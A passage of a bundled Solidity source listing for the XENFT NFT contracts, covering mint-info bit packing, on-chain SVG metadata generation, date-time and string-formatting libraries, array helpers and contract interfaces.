8);\n info = info | ((eaa & 0xFFFF) << 16);\n info = info | ((amp & 0xFFFF) << 32);\n info = info | ((rank & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) << 48);\n info = info | ((maturityTs & 0xFFFFFFFFFFFFFFFF) << 176);\n info = info | ((term & 0xFFFF) << 240);\n }\n\n /**\n @dev decodes MintInfo record and extracts all of its props\n */\n function decodeMintInfo(uint256 info)\n public\n pure\n returns (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class,\n bool apex,\n bool limited,\n bool redeemed\n )\n {\n term = uint16(info >> 240);\n maturityTs = uint64(info >> 176);\n rank = uint128(info >> 48);\n amp = uint16(info >> 32);\n eaa = uint16(info >> 16);\n class = uint8(info >> 8) & 0x3F;\n apex = (uint8(info >> 8) & 0x80) > 0;\n limited = (uint8(info >> 8) & 0x40) > 0;\n redeemed = uint8(info) == 1;\n }\n\n /**\n @dev extracts `term` prop from encoded MintInfo\n */\n function getTerm(uint256 info) public pure returns (uint256 term) {\n (term, , , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `maturityTs` prop from encoded MintInfo\n */\n function getMaturityTs(uint256 info) public pure returns (uint256 maturityTs) {\n (, maturityTs, , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `rank` prop from encoded MintInfo\n */\n function getRank(uint256 info) public pure returns (uint256 rank) {\n (, , rank, , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `AMP` prop from encoded MintInfo\n */\n function getAMP(uint256 info) public pure returns (uint256 amp) {\n (, , , amp, , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `EAA` prop from encoded MintInfo\n */\n function getEAA(uint256 info) public pure returns (uint256 eaa) {\n (, , , , eaa, , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getClass(uint256 info)\n public\n pure\n returns (\n uint256 class_,\n bool apex,\n bool limited\n )\n {\n (, , , , , class_, apex, limited, ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getRedeemed(uint256 info) public pure returns (bool redeemed) {\n (, , , , , , , , redeemed) = decodeMintInfo(info);\n }\n}\n"
},
"/contracts/libs/Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./MintInfo.sol\";\nimport \"./DateTime.sol\";\nimport \"./FormattedStrings.sol\";\nimport \"./SVG.sol\";\n\n/**\n @dev Library contains methods to generate on-chain NFT metadata\n*/\nlibrary Metadata {\n using DateTime for uint256;\n using MintInfo for uint256;\n using Strings for uint256;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n uint256 public constant MAX_POWER = 52_500;\n\n uint256 public constant COLORS_FULL_SCALE = 300;\n uint256 public constant SPECIAL_LUMINOSITY = 45;\n uint256 public constant BASE_SATURATION = 75;\n uint256 public constant BASE_LUMINOSITY = 38;\n uint256 public constant GROUP_SATURATION = 100;\n uint256 public constant GROUP_LUMINOSITY = 50;\n uint256 public constant DEFAULT_OPACITY = 1;\n uint256 public constant NO_COLOR = 360;\n\n // PRIVATE HELPERS\n\n // The following pure methods returning arrays are workaround to use array constants,\n // not yet available in Solidity\n\n function _powerGroupColors() private pure returns (uint256[8] memory) {\n return [uint256(360), 1, 30, 60, 120, 180, 240, 300];\n }\n\n function _huesApex() private pure returns (uint256[3] memory) {\n return [uint256(169), 210, 305];\n }\n\n function _huesLimited() private pure returns (uint256[3] memory) {\n return [uint256(263), 0, 42];\n }\n\n function _stopOffsets() private pure returns (uint256[3] memory) {\n return [uint256(10), 50, 90];\n }\n\n function _gradColorsRegular() private pure returns (uint256[4] memory) {\n return [uint256(150), 150, 20, 20];\n }\n\n function _gradColorsBlack() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 20, 20];\n }\n\n function _gradColorsSpecial() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 0, 0];\n }\n\n /**\n @dev private helper to determine XENFT group index by its power\n (power = count of VMUs * mint term in days)\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev private helper to generate SVG gradients for special XENFT categories\n */\n function _specialClassGradients(bool rare) private pure returns (SVG.Gradient[] memory gradients) {\n uint256[3] memory specialColors = rare ? _huesApex() : _huesLimited();\n SVG.Color[] memory colors = new SVG.Color[](3);\n for (uint256 i = 0; i < colors.length; i++) {\n colors[i] = SVG.Color({\n h: specialColors[i],\n s: BASE_SATURATION,\n l: SPECIAL_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[i]\n });\n }\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({colors: colors, id: 0, coords: _gradColorsSpecial()});\n }\n\n /**\n @dev private helper to generate SVG gradients for common XENFT category\n */\n function _commonCategoryGradients(uint256 vmus, uint256 term)\n private\n pure\n returns (SVG.Gradient[] memory gradients)\n {\n SVG.Color[] memory colors = new SVG.Color[](2);\n uint256 powerHue = term * vmus > MAX_POWER ? NO_COLOR : 1 + (term * vmus * COLORS_FULL_SCALE) / MAX_POWER;\n // group\n uint256 groupHue = _powerGroupColors()[_powerGroup(vmus, term) > 7 ? 7 : _powerGroup(vmus, term)];\n colors[0] = SVG.Color({\n h: groupHue,\n s: groupHue == NO_COLOR ? 0 : GROUP_SATURATION,\n l: groupHue == NO_COLOR ? 0 : GROUP_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[0]\n });\n // power\n colors[1] = SVG.Color({\n h: powerHue,\n s: powerHue == NO_COLOR ? 0 : BASE_SATURATION,\n l: powerHue == NO_COLOR ? 0 : BASE_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[2]\n });\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({\n colors: colors,\n id: 0,\n coords: groupHue == NO_COLOR ? _gradColorsBlack() : _gradColorsRegular()\n });\n }\n\n // PUBLIC INTERFACE\n\n /**\n @dev public interface to generate SVG image based on XENFT params\n */\n function svgData(\n uint256 tokenId,\n uint256 count,\n uint256 info,\n address token,\n uint256 burned\n ) external view returns (bytes memory) {\n string memory symbol = IERC20Metadata(token).symbol();\n (uint256 classIds, bool rare, bool limited) = info.getClass();\n SVG.SvgParams memory params = SVG.SvgParams({\n symbol: symbol,\n xenAddress: token,\n tokenId: tokenId,\n term: info.getTerm(),\n rank: info.getRank(),\n count: count,\n maturityTs: info.getMaturityTs(),\n amp: info.getAMP(),\n eaa: info.getEAA(),\n xenBurned: burned,\n series: StringData.getClassName(StringData.CLASSES, classIds),\n redeemed: info.getRedeemed()\n });\n uint256 quoteIdx = uint256(keccak256(abi.encode(info))) % StringData.QUOTES_COUNT;\n if (rare || limited) {\n return SVG.image(params, _specialClassGradients(rare), quoteIdx, rare, limited);\n }\n return SVG.image(params, _commonCategoryGradients(count, info.getTerm()), quoteIdx, rare, limited);\n }\n\n function _attr1(\n uint256 count,\n uint256 rank,\n uint256 class_\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Class\",\"value\":\"',\n StringData.getClassName(StringData.CLASSES, class_),\n '\"},'\n '{\"trait_type\":\"VMUs\",\"value\":\"',\n count.toString(),\n '\"},'\n '{\"trait_type\":\"cRank\",\"value\":\"',\n rank.toString(),\n '\"},'\n );\n }\n\n function _attr2(\n uint256 amp,\n uint256 eaa,\n uint256 maturityTs\n ) private pure returns (bytes memory) {\n (uint256 year, string memory month) = DateTime.yearAndMonth(maturityTs);\n return\n abi.encodePacked(\n '{\"trait_type\":\"AMP\",\"value\":\"',\n amp.toString(),\n '\"},'\n '{\"trait_type\":\"EAA (%)\",\"value\":\"',\n (eaa / 10).toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Year\",\"value\":\"',\n year.toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Month\",\"value\":\"',\n month,\n '\"},'\n );\n }\n\n function _attr3(\n uint256 maturityTs,\n uint256 term,\n uint256 burned\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Maturity DateTime\",\"value\":\"',\n maturityTs.asString(),\n '\"},'\n '{\"trait_type\":\"Term\",\"value\":\"',\n term.toString(),\n '\"},'\n '{\"trait_type\":\"XEN Burned\",\"value\":\"',\n (burned / 10**18).toString(),\n '\"},'\n );\n }\n\n function _attr4(bool apex, bool limited) private pure returns (bytes memory) {\n string memory category = \"Collector\";\n if (limited) category = \"Limited\";\n if (apex) category = \"Apex\";\n return abi.encodePacked('{\"trait_type\":\"Category\",\"value\":\"', category, '\"}');\n }\n\n /**\n @dev private helper to construct attributes portion of NFT metadata\n */\n function attributes(\n uint256 count,\n uint256 burned,\n uint256 mintInfo\n ) external pure returns (bytes memory) {\n (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 series,\n bool apex,\n bool limited,\n\n ) = MintInfo.decodeMintInfo(mintInfo);\n return\n abi.encodePacked(\n \"[\",\n _attr1(count, rank, series),\n _attr2(amp, eaa, maturityTs),\n _attr3(maturityTs, term, burned),\n _attr4(apex, limited),\n \"]\"\n );\n }\n\n function formattedString(uint256 n) public pure returns (string memory) {\n return FormattedStrings.toFormattedString(n);\n }\n}\n"
},
"/contracts/libs/FormattedStrings.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary FormattedStrings {\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n Base on OpenZeppelin `toString` method from `String` library\n */\n function toFormattedString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n uint256 pos;\n uint256 comas = digits / 3;\n digits = digits + (digits % 3 == 0 ? comas - 1 : comas);\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n if (pos == 3) {\n buffer[digits] = \",\";\n pos = 0;\n } else {\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n pos++;\n }\n }\n return string(buffer);\n }\n}\n"
},
"/contracts/libs/ERC2771Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (metatx/ERC2771Context.sol)\n\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\";\n\n/**\n * @dev Context variant with ERC2771 support.\n */\nabstract contract ERC2771Context is Context {\n /// @custom:oz-upgrades-unsafe-allow state-variable-immutable\n // one-time settable var\n address internal _trustedForwarder;\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor(address trustedForwarder) {\n _trustedForwarder = trustedForwarder;\n }\n\n function isTrustedForwarder(address forwarder) public view virtual returns (bool) {\n return forwarder == _trustedForwarder;\n }\n\n function _msgSender() internal view virtual override returns (address sender) {\n if (isTrustedForwarder(msg.sender)) {\n // The assembly code is more direct than the Solidity version using `abi.decode`.\n /// @solidity memory-safe-assembly\n assembly {\n sender := shr(96, calldataload(sub(calldatasize(), 20)))\n }\n } else {\n return super._msgSender();\n }\n }\n\n function _msgData() internal view virtual override returns (bytes calldata) {\n if (isTrustedForwarder(msg.sender)) {\n return msg.data[:msg.data.length - 20];\n } else {\n return super._msgData();\n }\n }\n}\n"
},
"/contracts/libs/DateTime.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./BokkyPooBahsDateTimeLibrary.sol\";\n\n/*\n @dev Library to convert epoch timestamp to a human-readable Date-Time string\n @dependency uses BokkyPooBahsDateTimeLibrary.sol library internally\n */\nlibrary DateTime {\n using Strings for uint256;\n\n bytes public constant MONTHS = bytes(\"JanFebMarAprMayJunJulAugSepOctNovDec\");\n\n /**\n * @dev returns month as short (3-letter) string\n */\n function monthAsString(uint256 idx) internal pure returns (string memory) {\n require(idx > 0, \"bad idx\");\n bytes memory str = new bytes(3);\n uint256 offset = (idx - 1) * 3;\n str[0] = bytes1(MONTHS[offset]);\n str[1] = bytes1(MONTHS[offset + 1]);\n str[2] = bytes1(MONTHS[offset + 2]);\n return string(str);\n }\n\n /**\n * @dev returns string representation of number left-padded for 2 symbols\n */\n function asPaddedString(uint256 n) internal pure returns (string memory) {\n if (n == 0) return \"00\";\n if (n < 10) return string.concat(\"0\", n.toString());\n return n.toString();\n }\n\n /**\n * @dev returns string of format 'Jan 01, 2022 18:00 UTC' for a given timestamp\n */\n function asString(uint256 ts) external pure returns (string memory) {\n (uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, ) = BokkyPooBahsDateTimeLibrary\n .timestampToDateTime(ts);\n return\n string(\n abi.encodePacked(\n monthAsString(month),\n \" \",\n day.toString(),\n \", \",\n year.toString(),\n \" \",\n asPaddedString(hour),\n \":\",\n asPaddedString(minute),\n \" UTC\"\n )\n );\n }\n\n /**\n * @dev returns (year, month as string) components of a date by timestamp\n */\n function yearAndMonth(uint256 ts) external pure returns (uint256, string memory) {\n (uint256 year, uint256 month, , , , ) = BokkyPooBahsDateTimeLibrary.timestampToDateTime(ts);\n return (year, monthAsString(month));\n }\n}\n"
},
"/contracts/libs/BokkyPooBahsDateTimeLibrary.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// ----------------------------------------------------------------------------\n// BokkyPooBah's DateTime Library v1.01\n//\n// A gas-efficient Solidity date and time library\n//\n// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary\n//\n// Tested date range 1970/01/01 to 2345/12/31\n//\n// Conventions:\n// Unit | Range | Notes\n// :-------- |:-------------:|:-----\n// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC\n// year | 1970 ... 2345 |\n// month | 1 ... 12 |\n// day | 1 ... 31 |\n// hour | 0 ... 23 |\n// minute | 0 ... 59 |\n// second | 0 ... 59 |\n// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday\n//\n//\n// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.\n// ----------------------------------------------------------------------------\n\nlibrary BokkyPooBahsDateTimeLibrary {\n uint256 constant _SECONDS_PER_DAY = 24 * 60 * 60;\n uint256 constant _SECONDS_PER_HOUR = 60 * 60;\n uint256 constant _SECONDS_PER_MINUTE = 60;\n int256 constant _OFFSET19700101 = 2440588;\n\n uint256 constant _DOW_FRI = 5;\n uint256 constant _DOW_SAT = 6;\n\n // ------------------------------------------------------------------------\n // Calculate the number of days from 1970/01/01 to year/month/day using\n // the date conversion algorithm from\n // https://aa.usno.navy.mil/faq/JD_formula.html\n // and subtracting the offset 2440588 so that 1970/01/01 is day 0\n //\n // days = day\n // - 32075\n // + 1461 * (year + 4800 + (month - 14) / 12) / 4\n // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12\n // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4\n // - offset\n // ------------------------------------------------------------------------\n function _daysFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) private pure returns (uint256 _days) {\n require(year >= 1970);\n int256 _year = int256(year);\n int256 _month = int256(month);\n int256 _day = int256(day);\n\n int256 __days = _day -\n 32075 +\n (1461 * (_year + 4800 + (_month - 14) / 12)) /\n 4 +\n (367 * (_month - 2 - ((_month - 14) / 12) * 12)) /\n 12 -\n (3 * ((_year + 4900 + (_month - 14) / 12) / 100)) /\n 4 -\n _OFFSET19700101;\n\n _days = uint256(__days);\n }\n\n // ------------------------------------------------------------------------\n // Calculate year/month/day from the number of days since 1970/01/01 using\n // the date conversion algorithm from\n // http://aa.usno.navy.mil/faq/docs/JD_Formula.php\n // and adding the offset 2440588 so that 1970/01/01 is day 0\n //\n // int L = days + 68569 + offset\n // int N = 4 * L / 146097\n // L = L - (146097 * N + 3) / 4\n // year = 4000 * (L + 1) / 1461001\n // L = L - 1461 * year / 4 + 31\n // month = 80 * L / 2447\n // dd = L - 2447 * month / 80\n // L = month / 11\n // month = month + 2 - 12 * L\n // year = 100 * (N - 49) + year + L\n // ------------------------------------------------------------------------\n function _daysToDate(uint256 _days)\n private\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n int256 __days = int256(_days);\n\n int256 L = __days + 68569 + _OFFSET19700101;\n int256 N = (4 * L) / 146097;\n L = L - (146097 * N + 3) / 4;\n int256 _year = (4000 * (L + 1)) / 1461001;\n L = L - (1461 * _year) / 4 + 31;\n int256 _month = (80 * L) / 2447;\n int256 _day = L - (2447 * _month) / 80;\n L = _month / 11;\n _month = _month + 2 - 12 * L;\n _year = 100 * (N - 49) + _year + L;\n\n year = uint256(_year);\n month = uint256(_month);\n day = uint256(_day);\n }\n\n function timestampFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (uint256 timestamp) {\n timestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY;\n }\n\n function timestampFromDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (uint256 timestamp) {\n timestamp =\n _daysFromDate(year, month, day) *\n _SECONDS_PER_DAY +\n hour *\n _SECONDS_PER_HOUR +\n minute *\n _SECONDS_PER_MINUTE +\n second;\n }\n\n function timestampToDate(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function timestampToDateTime(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n secs = secs % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n second = secs % _SECONDS_PER_MINUTE;\n }\n\n function isValidDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (bool valid) {\n if (year >= 1970 && month > 0 && month <= 12) {\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > 0 && day <= daysInMonth) {\n valid = true;\n }\n }\n }\n\n function isValidDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (bool valid) {\n if (isValidDate(year, month, day)) {\n if (hour < 24 && minute < 60 && second < 60) {\n valid = true;\n }\n }\n }\n\n function isLeapYear(uint256 timestamp) internal pure returns (bool leapYear) {\n (uint256 year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n leapYear = _isLeapYear(year);\n }\n\n function _isLeapYear(uint256 year) private pure returns (bool leapYear) {\n leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);\n }\n\n function isWeekDay(uint256 timestamp) internal pure returns (bool weekDay) {\n weekDay = getDayOfWeek(timestamp) <= _DOW_FRI;\n }\n\n function isWeekEnd(uint256 timestamp) internal pure returns (bool weekEnd) {\n weekEnd = getDayOfWeek(timestamp) >= _DOW_SAT;\n }\n\n function getDaysInMonth(uint256 timestamp) internal pure returns (uint256 daysInMonth) {\n (uint256 year, uint256 month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n daysInMonth = _getDaysInMonth(year, month);\n }\n\n function _getDaysInMonth(uint256 year, uint256 month) private pure returns (uint256 daysInMonth) {\n if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {\n daysInMonth = 31;\n } else if (month != 2) {\n daysInMonth = 30;\n } else {\n daysInMonth = _isLeapYear(year) ? 29 : 28;\n }\n }\n\n // 1 = Monday, 7 = Sunday\n function getDayOfWeek(uint256 timestamp) internal pure returns (uint256 dayOfWeek) {\n uint256 _days = timestamp / _SECONDS_PER_DAY;\n dayOfWeek = ((_days + 3) % 7) + 1;\n }\n\n function getYear(uint256 timestamp) internal pure returns (uint256 year) {\n (year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getMonth(uint256 timestamp) internal pure returns (uint256 month) {\n (, month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getDay(uint256 timestamp) internal pure returns (uint256 day) {\n (, , day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getHour(uint256 timestamp) internal pure returns (uint256 hour) {\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n }\n\n function getMinute(uint256 timestamp) internal pure returns (uint256 minute) {\n uint256 secs = timestamp % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n }\n\n function getSecond(uint256 timestamp) internal pure returns (uint256 second) {\n second = timestamp % _SECONDS_PER_MINUTE;\n }\n\n function addYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year += _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n month += _months;\n year += (month - 1) / 12;\n month = ((month - 1) % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _days * _SECONDS_PER_DAY;\n require(newTimestamp >= timestamp);\n }\n\n function addHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _hours * _SECONDS_PER_HOUR;\n require(newTimestamp >= timestamp);\n }\n\n function addMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp >= timestamp);\n }\n\n function addSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _seconds;\n require(newTimestamp >= timestamp);\n }\n\n function subYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year -= _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 yearMonth = year * 12 + (month - 1) - _months;\n year = yearMonth / 12;\n month = (yearMonth % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _days * _SECONDS_PER_DAY;\n require(newTimestamp <= timestamp);\n }\n\n function subHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _hours * _SECONDS_PER_HOUR;\n require(newTimestamp <= timestamp);\n }\n\n function subMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp <= timestamp);\n }\n\n function subSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _seconds;\n require(newTimestamp <= timestamp);\n }\n\n function diffYears(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _years) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, , ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, , ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _years = toYear - fromYear;\n }\n\n function diffMonths(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _months) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, uint256 fromMonth, ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, uint256 toMonth, ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;\n }\n\n function diffDays(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _days) {\n require(fromTimestamp <= toTimestamp);\n _days = (toTimestamp - fromTimestamp) / _SECONDS_PER_DAY;\n }\n\n function diffHours(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _hours) {\n require(fromTimestamp <= toTimestamp);\n _hours = (toTimestamp - fromTimestamp) / _SECONDS_PER_HOUR;\n }\n\n function diffMinutes(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _minutes) {\n require(fromTimestamp <= toTimestamp);\n _minutes = (toTimestamp - fromTimestamp) / _SECONDS_PER_MINUTE;\n }\n\n function diffSeconds(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _seconds) {\n require(fromTimestamp <= toTimestamp);\n _seconds = toTimestamp - fromTimestamp;\n }\n}\n"
},
"/contracts/libs/Array.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary Array {\n function idx(uint256[] memory arr, uint256 item) internal pure returns (uint256 i) {\n for (i = 1; i <= arr.length; i++) {\n if (arr[i - 1] == item) {\n return i;\n }\n }\n i = 0;\n }\n\n function addItem(uint256[] storage arr, uint256 item) internal {\n if (idx(arr, item) == 0) {\n arr.push(item);\n }\n }\n\n function removeItem(uint256[] storage arr, uint256 item) internal {\n uint256 i = idx(arr, item);\n if (i > 0) {\n arr[i - 1] = arr[arr.length - 1];\n arr.pop();\n }\n }\n\n function contains(uint256[] memory container, uint256[] memory items) internal pure returns (bool) {\n if (items.length == 0) return true;\n for (uint256 i = 0; i < items.length; i++) {\n bool itemIsContained = false;\n for (uint256 j = 0; j < container.length; j++) {\n itemIsContained = items[i] == container[j];\n }\n if (!itemIsContained) return false;\n }\n return true;\n }\n\n function asSingletonArray(uint256 element) internal pure returns (uint256[] memory) {\n uint256[] memory array = new uint256[](1);\n array[0] = element;\n return array;\n }\n\n function hasDuplicatesOrZeros(uint256[] memory array) internal pure returns (bool) {\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0) return true;\n for (uint256 j = 0; j < array.length; j++) {\n if (array[i] == array[j] && i != j) return true;\n }\n }\n return false;\n }\n\n function hasRoguesOrZeros(uint256[] memory array) internal pure returns (bool) {\n uint256 _first = array[0];\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0 || array[i] != _first) return true;\n }\n return false;\n }\n}\n"
},
"/contracts/interfaces/IXENTorrent.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENTorrent {\n event StartTorrent(address indexed user, uint256 count, uint256 term);\n event EndTorrent(address indexed user, uint256 tokenId, address to);\n\n function bulkClaimRank(uint256 count, uint256 term) external returns (uint256);\n\n function bulkClaimMintReward(uint256 tokenId, address to) external;\n}\n"
},
"/contracts/interfaces/IXENProxying.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENProxying {\n function callClaimRank(uint256 term) external;\n\n function callClaimMintReward(address to) external;\n\n function powerDown() external;\n}\n"
},
"/contracts/interfaces/IERC2771.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IERC2771 {\n function isTrustedForwarder(address forwarder) external;\n}\n"
},
"operator-filter-registry/src/OperatorFilterer.sol": {
